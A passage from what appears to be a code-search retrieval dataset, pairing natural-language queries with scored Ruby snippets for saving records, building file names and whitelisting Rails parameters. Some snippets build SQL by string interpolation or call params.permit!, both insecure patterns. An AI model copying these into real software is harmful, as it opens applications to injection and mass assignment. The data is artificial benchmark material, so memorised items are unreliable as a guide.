"text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "db1de2ae4ad59e2d902e9efd5a5e19c9", "score": "0.6490155", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "78a464c1b4a4eb7cead065ea83d6f779", "score": "0.6487793", "text": "def save\n # .....\n end", "title": "" }, { "docid": "ab00338d2579a0afd658b14cca4a4b6e", "score": "0.6471082", "text": "def save(object)\n#puts \"Saving a #{object.class} id(#{object.record_id})\"\n sql = []\n if object.as_record.persisted?\n sql << update_sql(object)\n object.state.each do |field, value|\n value.as_record.save unless value.as_record.persisted?\n sql << update_ivar_sql(object, field, value)\n end\n else\n sql << insert_sql(object)\n object.state.each do |field, value|\n value.as_record.save unless value.as_record.persisted?\n sql << insert_ivar_sql(object, field, value)\n end\n end\n sql = sql.join(\"\\n\")\n execute(sql)\n object.as_record.persisted!\n end", "title": "" }, { "docid": "4f51f8f0856eac1da293ec1e2d36ef28", "score": "0.64693725", "text": "def cdb_save\n self.couchdb_rev = couchdb.store(\"pack\", @name, self)[\"rev\"]\n end", "title": "" }, { "docid": "d58bc90cd2e9264cc5bc14dd26540913", "score": "0.6468269", "text": "def save(db)\n db.execute 'INSERT INTO athletes (name, birthdate) VALUES ( ?, ?)', [@name, @birthdate]\n end", "title": "" } ]
7524293aff3a88248388986266cb00d0
returns a name that looks like a file name except for capitalization
[ { "docid": "9cded31148672735b44d01f9ce7da76f", "score": "0.0", "text": "def getPageKey\n if @formatted_name.nil?\n @formatted_name = @humanly_name.split(/\\./)[0].gsub(%r{\\s},WHITE_SPACE).gsub(%r{[/<>+]}, WHITE_SPACE).downcase + '.' + @file_extension\n end\n return @formatted_name\n end", "title": "" } ]
[ { "docid": "165ec4e21c80d6a24b7d575ecff121df", "score": "0.7905351", "text": "def file_name\n name.underscore\n end", "title": "" }, { "docid": "28000f7c40649942f3c228cbb3fdc7a2", "score": "0.7832275", "text": "def file_to_name(file)\n return file.split(\"_\").map(&:capitalize).join\n end", "title": "" }, { "docid": "7c64521cf74bb3561869301b03210a4e", "score": "0.78213495", "text": "def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end", "title": "" }, { "docid": "7db8046b09f80836c5dc8a84f85b56f5", "score": "0.7637111", "text": "def proper_filename(file)\n file.gsub(/[^\\w]/,'_')\n end", "title": "" }, { "docid": "9dc952b99753d0e36c163dd7f9ffb62b", "score": "0.7582489", "text": "def sanitize_file_name_as_name\n sanitized_name_array = name.split('.')\n sanitized_name_array.pop if sanitized_name_array.length > 1\n self.name = sanitized_name_array.join('.').tr('-_', ' ').split.map(&:capitalize)*' '\n end", "title": "" }, { "docid": "a9a5e7238266db00b837568c6655a827", "score": "0.757731", "text": "def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end", "title": "" }, { "docid": "a9a5e7238266db00b837568c6655a827", "score": "0.757731", "text": "def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end", "title": "" }, { "docid": "c2d80612b7f672ae1582ac78adf78fd0", "score": "0.75402945", "text": "def basename_to_title(basename)\n basename.gsub(/[\\-_]/, \" \").capitalize\n end", "title": "" }, { "docid": "26563a30cc61342d73d52209020f75af", "score": "0.7528275", "text": "def get_name_from_file_name(file)\n file.sub!('/', '').sub!('.jpg', '').gsub!(/[-_]/, ' ').split.map(&:capitalize).join ' '\n end", "title": "" }, { "docid": "a46f4e1b7167ad93209fba9dee7f0ff7", "score": "0.74009466", "text": "def classify_name(filename)\n filename.to_s.split(\"_\").map{ |i| i[0...1].upcase + i[1..-1] }.join\n end", "title": "" }, { "docid": "abb33a441e60faf93dd7502d1cc59109", "score": "0.73992705", "text": "def filename\n return @filename if @filename\n name.downcase.gsub(/\\W/, '_').squeeze('_')\n end", "title": "" }, { "docid": "2705d64fdca2a3a0ecc9d7e41f6dfd25", "score": "0.73945487", "text": "def filename(name)\n # Reemplaza letras con acentos y ñ\n filename = name.gsub('á','a').gsub('é','e').gsub('í','i').gsub('ó','o').gsub('ú','u').gsub('ñ','n').downcase\n return filename\nend", "title": "" }, { "docid": "eb3ae4b7f7721b92459d7be6b7e10cf9", "score": "0.72389364", "text": "def file_name\n \"#{name.downcase.gsub(/\\s/, '')}.jpg\"\n end", "title": "" }, { "docid": "947621b5d0e152358164b1732c6f4958", "score": "0.7203292", "text": "def file_name(s)\n s.gsub(/[\\s\\\\\\/]/, '_')\n end", "title": "" }, { "docid": "2e1b15c81ce3df2c806c7e21727b60eb", "score": "0.71728164", "text": "def human_name\n dir_name.gsub(/[_-]/, \" \").capitalize\n end", "title": "" }, { "docid": "f6ef8584d38626e6da130c69886f56ea", "score": "0.7162338", "text": "def to_name\n basename.to_s.sub extname, ''\n end", "title": "" }, { "docid": "c47fe01c7865ec03b06dc21a5dd3a5b3", "score": "0.71584404", "text": "def untitled_file_name()\n return \"ללא שם\"\n end", "title": "" }, { "docid": "89e6399bca05082c25c7acfac3612695", "score": "0.7139935", "text": "def sanitize_filename(file_name)\r\n\t\tjust_filename = File.basename(file_name)\r\n\t\tjust_filename.sub(/[^\\w\\.\\-]/, '_')\r\n\tend", "title": "" }, { "docid": "22ba3376344293476eac13012461e910", "score": "0.7131863", "text": "def class_name_for(file_name)\n file_name.split(/\\//).last.sub(/\\.rb$/, '').split(/_/).map do |s|\n s.capitalize\n end.join('')\n end", "title": "" }, { "docid": "ffe377792c2b3e485a45577e15db8d27", "score": "0.70930105", "text": "def filename(name)\n @filename = name.downcase.strip.gsub(' ', '-')\n end", "title": "" }, { "docid": "64b8040da59e0729a419849e4bfae201", "score": "0.70558506", "text": "def file_name(title)\n name = title.gsub(/[\\r\\n]/, ' ')\n .gsub(/[^a-zA-Z\\d\\s]/, '')\n .tr(' ', '_')\n\n name.length > 31 ? name[0..30] : name\n end", "title": "" }, { "docid": "d4e22a198b87c69cc550a1a3d727d5ba", "score": "0.7039215", "text": "def name\n @name ||= filename.split(\".\").first.sub(/^_/, \"\")\n end", "title": "" }, { "docid": "b5e1017708c26cc3d911e1cc499df871", "score": "0.7019867", "text": "def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end", "title": "" }, { "docid": "c399a848faf839436680f86cf5c4b20c", "score": "0.7002391", "text": "def file_name(name)\r\n return name.to_s.downcase + '.rb' if name.kind_of?(Symbol)\r\n return ext_name(name).downcase + '.rb'\r\n end", "title": "" }, { "docid": "5bd18f2e77a1ec9c0937b6583b6943eb", "score": "0.69807434", "text": "def basename_of(filename)\n filename.sub(/(\\.[a-z]+)*$/, '')\n end", "title": "" }, { "docid": "09afa23e1b41e444da5c0a2415d21f87", "score": "0.69774705", "text": "def get_lowercase_name(file_path)\n filename = File.basename(file_path)\n basedir = File.dirname(file_path)\n\n # Make sure the file is all lowercase, for consistency\n filename.downcase!\n new_path = File.join(basedir, filename)\n file_path = new_path\n\n return file_path\nend", "title": "" }, { "docid": "5d512a598102de4c2336ce77f874a4bf", "score": "0.6975768", "text": "def name_to_file(name)\n array = name.scan(/[A-Z][a-z]*/)\n raise TypeError, Ajaila::Messager.warning(\"The name of variable should start with capital letter: \\\"table:MyTable\\\"\") if array == []\n return array.map(&:downcase).join(\"_\")\n end", "title": "" }, { "docid": "29a2662444a7a70964cc52852dd8c189", "score": "0.696461", "text": "def file_name(title)\n name = title.gsub(/[\\r\\n]/, \" \")\n .gsub(/[^a-zA-Z\\d\\s]/, \"\")\n .gsub(/ /, \"_\")\n\n name.length > 31 ? name[0..30] : name\n end", "title": "" }, { "docid": "11646c8ca31925ea99c930bd91c4c23d", "score": "0.69545144", "text": "def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end", "title": "" }, { "docid": "11646c8ca31925ea99c930bd91c4c23d", "score": "0.6953872", "text": "def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end", "title": "" }, { "docid": "1378123f4ee83a996bc7c54371a2363e", "score": "0.69256705", "text": "def title\n #Flip off the part after the last dot, including that dot: find the filename without extensions\n fragments = @filename.split('.')\n fragments.pop\n title = fragments.join('.')\n\n return title.gsub(/[_]/, ' ').capitalize\n end", "title": "" }, { "docid": "bb7dbc79532a8c9b64697f5dd7c64216", "score": "0.68946916", "text": "def to_title(file_slug)\n file_slug.gsub(/[^\\p{Word}+]/u, ' ').gsub(/\\b\\w/){$&.upcase}\n end", "title": "" }, { "docid": "28a3af04ce52e709eef2cb5a30f009f2", "score": "0.6887564", "text": "def get_trunc_name name\n name[0..3].downcase\n end", "title": "" }, { "docid": "e7a6eebe9f5ced3e972e784365e4b2c1", "score": "0.6874237", "text": "def prepare_name(name)\n name.to_s.upcase\n end", "title": "" }, { "docid": "aae2faff0a26e3bc7381256f1b7d4560", "score": "0.6854829", "text": "def sanitize_filename\n name = self.strip\n #--- get only the filename, not the whole path\n name.gsub! /^.*(\\\\|\\/)/, ''\n\n #--- Finally, replace all non alphanumeric, underscore or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n return name\n end", "title": "" }, { "docid": "1bf792166169774745f77e0a5ed15ff9", "score": "0.68532956", "text": "def to_name(name)\n name.to_s.downcase\n end", "title": "" }, { "docid": "35f20a6c5346fb75489942e71dfce3bb", "score": "0.6848145", "text": "def normalized_profile_file_name\n \"#{self.id}-#{self.profilephoto_file_name.gsub( /[^a-zA-Z0-9_\\.]/, '_')}\"\n end", "title": "" }, { "docid": "e183c72d684ca2e3e2a1675c445de178", "score": "0.6843986", "text": "def name\n @name ||= File.basename(file).chomp(File.extname(file))\n end", "title": "" }, { "docid": "03fdd955c70ac8eaff85a1e9aa4d2f1d", "score": "0.6802011", "text": "def title\n CGI::unescape(self.file_name).gsub(/\\.\\w+$/, '').titleize\n end", "title": "" }, { "docid": "f6252877c6b2106fa81d12b2b2afa3bf", "score": "0.67986614", "text": "def capitalize() end", "title": "" }, { "docid": "6edd6f2dcca60d68066dfde0bc7d6ae6", "score": "0.6791287", "text": "def capitalize!() end", "title": "" }, { "docid": "c06018173e8b8ec52e29f1c02ecbc109", "score": "0.679088", "text": "def title\n #CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n self[:file_name].gsub(/\\.\\w+$/, '').titleize rescue ''\n end", "title": "" }, { "docid": "d94e980d222498e8c959baaac3d6a029", "score": "0.6788147", "text": "def human_name\n Helpers.underscore(@name)\n end", "title": "" }, { "docid": "78077f441188c40bdffcde600dc996e1", "score": "0.67838913", "text": "def proper_name(name)\n return name if name =~ /[[:upper:]]/\n\n name.gsub(/\\b[[:alpha:]]+/) { |w| w =~ PARTICLE_REGEX ? w : w.capitalize }\n end", "title": "" }, { "docid": "1e5979094d122fe814e09f70d91c5b19", "score": "0.67765194", "text": "def name\n camel = self.class.to_s.gsub(/.*::/, '')\n camel.gsub(/(\\S)([A-Z])/, '\\1_\\2').downcase\n end", "title": "" }, { "docid": "2fa545297d28b620af143d61de5e04ee", "score": "0.6771911", "text": "def gen_name\n name.to_s.downcase\n end", "title": "" }, { "docid": "0070fa1697a81bfbe276b452246a2c83", "score": "0.67715454", "text": "def displayName\n fileURL ? super : super.sub(/^[[:upper:]]/) {|s| s.downcase}\n end", "title": "" }, { "docid": "9df80427a80fff0dfe2a7f43a9d37454", "score": "0.6766828", "text": "def normalize_filename(locality)\n return locality.gsub!(/[^0-9A-Za-z.\\-]/, '_')\n end", "title": "" }, { "docid": "b8762b372a4d9cd5d222683fabdb78eb", "score": "0.67426366", "text": "def displayName\n\t\tfileURL ? super : super.sub(/^[[:upper:]]/) {|s| s.downcase}\n\tend", "title": "" }, { "docid": "b8762b372a4d9cd5d222683fabdb78eb", "score": "0.67426366", "text": "def displayName\n\t\tfileURL ? super : super.sub(/^[[:upper:]]/) {|s| s.downcase}\n\tend", "title": "" }, { "docid": "a84b4e1be823b836151715b47fb9a0e3", "score": "0.67394614", "text": "def fix_name(title)\n result = String.new( title )\n # Replace all invalid characters\n for substitution in $INVALID_CHARS_FOR_FILENAME\n result.gsub!(substitution[0], substitution[1])\n end\n result\nend", "title": "" }, { "docid": "cbb4a2ca0173cc108acac8d01d03d447", "score": "0.672678", "text": "def initial(name)\n name.scan(/[[:upper:]]/).first.to_s\n end", "title": "" }, { "docid": "b341e23f497b16d46bfb39f81383d699", "score": "0.67231625", "text": "def get_valid_file_name(iFileName)\n if (defined?(prohibited_file_names_chars) != nil)\n return iFileName.gsub(/[#{Regexp.escape(prohibited_file_names_chars)}]/, '_')\n else\n return iFileName\n end\n end", "title": "" }, { "docid": "2f7f6dba29b52fd6d0d33deb056386f1", "score": "0.6718455", "text": "def snake_case(name); end", "title": "" }, { "docid": "8393024d73513b96ce3e6602bef3fde3", "score": "0.6715776", "text": "def downcase_name\n name.downcase!\n end", "title": "" }, { "docid": "d7d3fd886557775b2246eea9c90d9540", "score": "0.67103434", "text": "def get_filename(file)\n File.basename(file)\n end", "title": "" }, { "docid": "e6f870063df13451fd10a7cdd0666bff", "score": "0.6709423", "text": "def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end", "title": "" }, { "docid": "50e801d289b1c0c1ab2db31e0c4322a9", "score": "0.66643894", "text": "def sanitized_filename(filename)\n filename.strip.tap do |name|\n # NOTE: File.basename doesn't work right with Windows paths on Unix\n # get only the filename, not the whole path\n name.sub! /\\A.*(\\\\|\\/)/, ''\n # Finally, replace all non alphanumeric, underscore\n # or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n end\n end", "title": "" }, { "docid": "83d2ba049406b3833733436d340cfefd", "score": "0.66551226", "text": "def title_folded_to_filename\n self[:title].gsub(/[^a-z0-9-]/) do |c|\n case c\n when /\\s+|\\./ then '-'\n when /[A-Z]+/ then c.downcase\n else ''\n end\n end.gsub(/\\-+/,'-')\n end", "title": "" }, { "docid": "9492143452b9494d36a1935e929a821a", "score": "0.6653573", "text": "def sanitize(name)\n name = name.force_encoding(Encoding::UTF_8)\n name = name.gsub(\"\\\\\", \"/\") # work-around for IE\n name = File.basename(name)\n name = name.gsub(sanitize_regexp, \"_\")\n name = \"_#{name}\" if name =~ /\\A\\.+\\z/\n name = \"unnamed\" if name.size == 0\n return name.mb_chars.to_s\n end", "title": "" }, { "docid": "b265e6af8e20c922dc358750a08c3f19", "score": "0.6649307", "text": "def original_filename\n File.basename(@file_path)\n end", "title": "" }, { "docid": "53fd95d20764c91d34c67b7fcbc9285b", "score": "0.6646044", "text": "def filename\r\n Chingu::Inflector.underscore(self.class.to_s)\r\n end", "title": "" }, { "docid": "22bf831068d4f51dd22d07c7bb34c4b9", "score": "0.66417104", "text": "def main_name(path)\n File.basename(path).sub(/\\.[^\\.]+$/,'')\n end", "title": "" }, { "docid": "205cdca46f9972b5fb92c018683e37ea", "score": "0.66321516", "text": "def camel_case(name)\n if name.include? '_'\n name.split('_').map{|e| e.capitalize}.join\n else\n unless name =~ (/^[A-Z]/)\n name.capitalize\n else\n name\n end\n end\nend", "title": "" }, { "docid": "2ffe37407cace9fc12a110d6b22e4d83", "score": "0.66246635", "text": "def ext_name(name)\r\n return name.to_s if name.kind_of?(Symbol)\r\n return name.gsub(/\\s/, '_')\r\n end", "title": "" }, { "docid": "5279666bc9f9ab57f036e2258853d62a", "score": "0.661644", "text": "def filename\n if original_filename\n \"#{model.name.parameterize}-#{secure_token(8)}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": "6e7c03d15e2d062054dd097e6737a464", "score": "0.66103226", "text": "def normalize_name(name)\n CapitalizeNames.capitalize(name)\n end", "title": "" }, { "docid": "65ea1b1328dfa11c90bd9622e65ab427", "score": "0.66079724", "text": "def short_name \r\n name.gsub(/([A-Z])[^A-Z]+/, '\\1')\r\n end", "title": "" }, { "docid": "05384944a4189f849a22e44f166c17f8", "score": "0.6598633", "text": "def capitalized\n name.titleize.capitalize\n end", "title": "" }, { "docid": "399bd44706225c71f85986c7cacf46ef", "score": "0.6596715", "text": "def awful_file_name\n (((0x00..0x7f).to_a - [0x00, 0x0a, 0x2b, 0x2f]).map { |n| n.chr }).join + '.txt'\n end", "title": "" }, { "docid": "3d65f98d8852a12fa93ee96faffb84bf", "score": "0.6586515", "text": "def underscore_filename_for(path)\n File.basename(path, '.*').\n gsub(/[^a-zA-Z0-9]/, '_').\n concat(File.extname(path))\n end", "title": "" }, { "docid": "5dbdfda19775af71ccd9a647afb37073", "score": "0.6576147", "text": "def copy_name_to_lowercase_name\n self.lowercase_name = File.basename(self.github_url.to_s).presence || name.to_s.downcase.parameterize\n end", "title": "" }, { "docid": "61a4a496d8eea743db9a250ae35ce60c", "score": "0.6571504", "text": "def file_name\n \"#{@file_name}.#{extension}\"\n end", "title": "" }, { "docid": "001b2cd47ab26e1f08ddb29c79a6a999", "score": "0.65685284", "text": "def camelize(name, uc_first=true)\n parts = name.to_s.split('_')\n assemble = lambda { |head, tail| head + tail.capitalize }\n uc_first ? parts.inject('', &assemble) : parts.inject(&assemble)\n end", "title": "" }, { "docid": "9c03715386fab4482bdd4e3bd0bedaac", "score": "0.6559786", "text": "def get_raw_filename (file)\n\t\n\t\t# convert to string\n\t\tfile = get_filename(file)\n\t\t# remove extension\n\t\tfile.sub(get_ext(file), \"\")\n\t\t\n\tend", "title": "" }, { "docid": "6eb6febc10faf9b90139b748d9798e27", "score": "0.6558425", "text": "def file_type(file_name)\n File.exname( file_name ).gsub( /^\\./, '').downcase\n end", "title": "" }, { "docid": "fb621f35ef5addeb938f1aac37059237", "score": "0.6557325", "text": "def filename\n \"#{secure_token(10)+File.extname(original_filename)}\" if original_filename.present?\n end", "title": "" }, { "docid": "637f3c17895fbaccaf33dc078159fdd3", "score": "0.6541356", "text": "def sanitize(name)\n name = name.scrub\n name = name.tr(\"\\\\\", \"/\") # work-around for IE\n name = File.basename(name)\n name = name.gsub(sanitize_regexp, \"_\")\n name = \"_#{name}\" if name =~ /\\A\\.+\\z/\n name = \"unnamed\" if name.size.zero?\n name.mb_chars.to_s\n end", "title": "" }, { "docid": "5ef20e423453f6b9362ffc98b3c08381", "score": "0.6541241", "text": "def basename\n filename.chomp(extname)\n end", "title": "" }, { "docid": "4034f855d1580645fb3cc9317cffdd14", "score": "0.6539644", "text": "def name_pretty\n to_s.underscore.split(\"_\").map(&:capitalize).join(\" \")\n end", "title": "" }, { "docid": "05720a6aa46f8d2e50f570a9a6228c5e", "score": "0.6528687", "text": "def file_name\n File.basename(file_path)\n end", "title": "" }, { "docid": "d35b223236a8774209b02c1a7634e442", "score": "0.6525325", "text": "def rename_out fileName\r\n name = fileName.split('/')[-1]\r\n name = name.split('\\\\')[-1]\r\n return \"Code_From_#{name.gsub(/\\./,'_')}.html\"\r\n end", "title": "" }, { "docid": "e003e855aa1d975b200d6fe7cd8b01f6", "score": "0.65220153", "text": "def file_title(title)\n title.downcase.gsub(/\\s+/, '-').gsub(/-{2,}/, '-').gsub(':', '')\nend", "title": "" }, { "docid": "f6579e7eb0a15f53a284ed5d1e29b984", "score": "0.65199256", "text": "def normalize_filename\n self.name = Pathname.normalize_filename(name)\n end", "title": "" }, { "docid": "61773d7368f4011872bfa289f48594d6", "score": "0.6505541", "text": "def sanitize_filename(filename)\n filename.strip.gsub(/[^0-9A-Za-z.\\-]|\\s/, '_')\n end", "title": "" }, { "docid": "d8f04c2671d65dd2af63051a901653af", "score": "0.650436", "text": "def shortened_filename(file)\n file.filename.gsub(/^#{::SimpleCov.root}/, '.').gsub(%r{^\\./}, '')\n end", "title": "" }, { "docid": "c9ce945b60fcc4aba54bf522cc5f4dbc", "score": "0.6496458", "text": "def sanitize_as_filename\n self.gsub(/^.*(\\\\|\\/)/, '').transliterate.downcase.gsub(/[^a-z0-9\\. ]/, ' ').strip.gsub(/[ ]+/, '-')\n end", "title": "" }, { "docid": "603190f63d720e49cde8a234feeaa51a", "score": "0.64908606", "text": "def namify\n self.name.split(\" \").map{|x| x.first.capitalize}[0..1].join(\"\")\n end", "title": "" }, { "docid": "59ebeaa329e33b49caa2ca89f9b0333a", "score": "0.6487711", "text": "def projectizeName(filename)\n return ApplicationController.projectizeName(filename)\n end", "title": "" }, { "docid": "1f92229df41f3246514157f3c949eecc", "score": "0.64709723", "text": "def filename\n \"#{secure_token(10)}.#{file.extension}\" if original_filename.present?\n end", "title": "" }, { "docid": "0a3e8ae03ef3c4b38d0776196c71adf0", "score": "0.64649737", "text": "def capitalize_name\n self.name = name.sub(/\\S/, &:upcase) unless name.nil?\n end", "title": "" }, { "docid": "90fb6d7282d3189060d0736ec169d6b2", "score": "0.64635885", "text": "def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end", "title": "" }, { "docid": "90fb6d7282d3189060d0736ec169d6b2", "score": "0.64635885", "text": "def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end", "title": "" }, { "docid": "0a94c6c1f07ec1515a489f33f1e08747", "score": "0.6462496", "text": "def sanitizeFilename(fn)\n fn.gsub(/[^-A-Za-z0-9_.]/, \"_\")[0,80]\nend", "title": "" }, { "docid": "c9ec8f85154fa5307b518dfa56dba7c8", "score": "0.6455788", "text": "def filename(record, file)\n original = \"#{file.basename}.#{file.extension}\"\n write_attribute(:original_filename, original)\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n \"#{application_for_offering.id.to_s}-#{title.gsub(/[\\s,\\.\\\\\\/\\*\\?\\%\\:\\|\\\"\\'\\<\\>]?/,'')}.#{ext}\"\n end", "title": "" }, { "docid": "305e7eec9f30562c0cfcbfa2627b44c4", "score": "0.64534736", "text": "def filename(file)\n name = if file.respond_to?(:original_filename)\n file.original_filename\n else\n File.basename(file)\n end\n Pathname.normalize_filename(name)\n end", "title": "" }, { "docid": "8a3daf76af11d8870b8c7ef599ff6ed2", "score": "0.6451859", "text": "def get_file_name_without_ext(full_name)\n return File.basename(full_name, File.extname(full_name))\n rescue Exception => exc\n puts exc\n return full_name\n end", "title": "" }, { "docid": "bb5df635329b7a18391e8c7cdebee5b1", "score": "0.6447454", "text": "def ucfirst\n self.sub(/^(\\w)/) { |s| s.capitalize }\n end", "title": "" }, { "docid": "7fcb3a89fa1c199c5befe280a96bed92", "score": "0.64409846", "text": "def full_filename( for_file )\n super.downcase\n # super.chomp( File.extname( super ) ) + '.jpg'\n end", "title": "" }, { "docid": "c5cc77b2e2e932f3bdfef14d26d8aa0b", "score": "0.64308846", "text": "def formatted_filename(name, version, suffix, extension)\n name.gsub(\"#{version}_\", \"\").chomp(File.extname(name)) + \"_#{suffix}.#{extension}\"\n end", "title": "" }, { "docid": "72a6682e0fa7cf0e7b22e5b1e7addb8e", "score": "0.6429582", "text": "def capitalize_name\n self.name = self.name.split.collect(&:capitalize).join(' ') if self.name && !self.name.blank?\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "0e7b7d3a1d0de4984780949a02c273bc", "score": "0.0", "text": "def it_service_params\n params.require(:it_service).permit(:name, :description, :rate, :active)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n 